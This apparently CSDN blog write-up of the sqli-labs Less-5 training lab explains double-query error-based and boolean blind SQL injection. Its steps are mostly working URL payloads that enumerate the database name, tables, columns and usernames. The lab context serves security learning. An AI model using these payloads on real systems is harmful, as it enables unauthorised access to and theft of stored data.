sqli-labs/Less-5/双查询注入&布尔盲注

经典的双查询注入语句

select count(*),concat((payload),floor(rand(0)*2) as a from information_schema.tables group by a

双查询注入

1.判断注入点

     可知是基于 1'  的注入

2.判断列名字段数

        可知列名字段数为3

3.查询数据库名

?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+

 数据库名database为security

4.查询当前数据库下的所有表名

?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema="security"),'---',floor(rand(0)*2)) as a from information_schema.tables group by a --+

5.查询当前表下的所有列名

?id=1' union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'---',floor(rand(0)*2)) as a from information_schema.tables group by a --+

6.查询指定列名下的数据

?id=1' union select 1,count(*),concat((select username from users limit 0,1),"---",floor(rand(0)*2)) as a from information_schema.tables group by a --+

布尔盲注

wp:布尔盲注详解_Gundam-的博客-CSDN博客

1.原理:

       布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 truefalse使web页面返回true或者false,从而达到注入的目的来获取信息

     当我们输入一个true语句的时候,页面会返回You are in … …,而当你输入的语句为false时,那么就会收到一个空页面。因此我们可以构造一个判断语句,利用页面的返回结果来得知判断语句是否正确。

2.函数使用

length()  返回字符串长度

ascii()    返回字符串的ascii码

substr(str, start, len)  截取str,从start开始,截取长度为len

left()      从左至右截取字符串

3.求数据库长度

?id=1' and length(database())=1 --+

由此可知,数据库名的长度为8

4.求数据库名

?id=1' and ascii(substr(database(),1,1))=115 --+

 由此可知,数据库名的第一个字符为s,因为返回的ascii为115

5.求出表名的字段数

?id=1' and (select count(*) from information_schema.tables where table_schema='security') >3 --+

 

 当大于4时,页面报错

 说明security数据库下有4个表

6.求出表名

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) = 101 --+

 

 当数值为101时页面正常,说明第一个表的第一个字符的ASCII码为101,也就是e

 

以上盲注皆可以脚本实现,或者以爆破实现

相关wp:


SQL注入之报错注入_soldier_wing的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值